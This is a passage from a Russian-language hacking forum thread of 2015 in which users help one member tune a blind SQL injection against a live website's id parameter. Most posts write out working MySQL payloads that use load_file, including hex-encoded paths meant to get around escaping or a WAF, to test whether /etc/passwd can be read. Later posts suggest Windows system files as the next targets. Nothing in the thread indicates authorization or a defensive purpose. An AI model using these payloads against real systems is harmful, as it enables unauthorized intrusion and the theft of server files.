HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 11.08.2015, 11:25
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

is NULL и is not NULL - во втором случае получите TRUE, если есть права
 
Ответить с цитированием

  #12  
Старый 11.08.2015, 11:49
3nvY
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме:
15245

Репутация: 11
По умолчанию

Проверяю данные запросы в консоли

SELECT 1 AND 1=if(load_file('/etc/passwd') is not NULL,1,2); Возвращает 1.

SELECT 1 AND 1=if(load_file('/etc/passwd') is NULL,1,2); Возвращает 0.

Но когда подставляю на сайте что в первом, что во втором случае отображается то же самое, что и при: site.ru/index.php?id=1

Но если делаю так: site.ru/index.php?id=1 and 1=0--+

Возвращает пустую страницу.

Это значит что нет прав на загрузку файла?

Может я что-то делаю не так?=\
 
Ответить с цитированием

  #13  
Старый 11.08.2015, 12:54
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

может что-то не так. может кавычки у вас экранируются, может /etc/passwd блокирует WAF, или еще что-то. но результаты при этих запросах должны отличатся вне зависимости от того, есть права или нет.
 
Ответить с цитированием

  #14  
Старый 11.08.2015, 16:05
3nvY
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме:
15245

Репутация: 11
По умолчанию

Теперь такой запроc: AND 1=if(load_file(unhex(hex('/etc/passwd'))) is not NULL,1,2)--+ Возвращает пустую страницу.

Может сервер на винде...

yarbabin,Спасибо огромное за помощь буду дальше пытаться ковырять
 
Ответить с цитированием

  #15  
Старый 11.08.2015, 16:07
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

и толку что вы спрятали слово в кавычках в хекс и анхекс? load_file(0x2f6574632f706173737764)
 
Ответить с цитированием

  #16  
Старый 11.08.2015, 16:08
3nvY
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме:
15245

Репутация: 11
По умолчанию

Но теперь хотя бы есть результат)
 
Ответить с цитированием

  #17  
Старый 11.08.2015, 16:12
3nvY
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме:
15245

Репутация: 11
По умолчанию

При таком запросе: AND 1=if(load_file(unhex(hex('/etc/passwd'))) is NULL,1,2)--+ отображается как и при site.ru/index.php?id=1

а при AND 1=if(load_file(unhex(hex('/etc/passwd'))) is not NULL,1,2)--+ пустая страница.

То же самое и при and 1=if(load_file(0x2f6574632f706173737764) is not NULL,1,2)--+

и

and 1=if(load_file(0x2f6574632f706173737764) is NULL,1,2)--+

просто под рукой сейчас нчего нет что в хекс кодирует строку)
 
Ответить с цитированием

  #18  
Старый 11.08.2015, 16:32
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от 3nvY  

При таком запросе: AND 1=if(load_file(unhex(hex('/etc/passwd')))
is NULL
,1,2)--+ отображается как и при site.ru/index.php?id=1
а при AND 1=if(load_file(unhex(hex('/etc/passwd')))
is not NULL
,1,2)--+ пустая страница.
and 1=1 TRUE

and 1=2 FALSE

Соответственно, load_file(unhex(hex('/etc/passwd')) возвращает null, у вас нет прав на чтение.
 
Ответить с цитированием

  #19  
Старый 11.08.2015, 16:39
3nvY
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме:
15245

Репутация: 11
По умолчанию

Это я понял. Просто думаю если серв на винде то путь другой будет. Сейчас времени нет тестить (не дома нахожусь).

Под вендой в консоли при запросе select 1 and 1=if(load_file('/etc/passwd') is not NULL,1,2); вернётся false так как такого пути не существует.
 
Ответить с цитированием

  #20  
Старый 11.08.2015, 17:07
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

Цитата:
Сообщение от 3nvY  

Это я понял. Просто думаю если серв на винде то путь другой будет. Сейчас времени нет тестить (не дома нахожусь).
Под вендой в консоли при запросе select 1 and 1=if(load_file('/etc/passwd') is not NULL,1,2); вернётся false так как такого пути не существует.
C:\boot.ini

C:\Windows\System32\drivers\etc\hosts
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.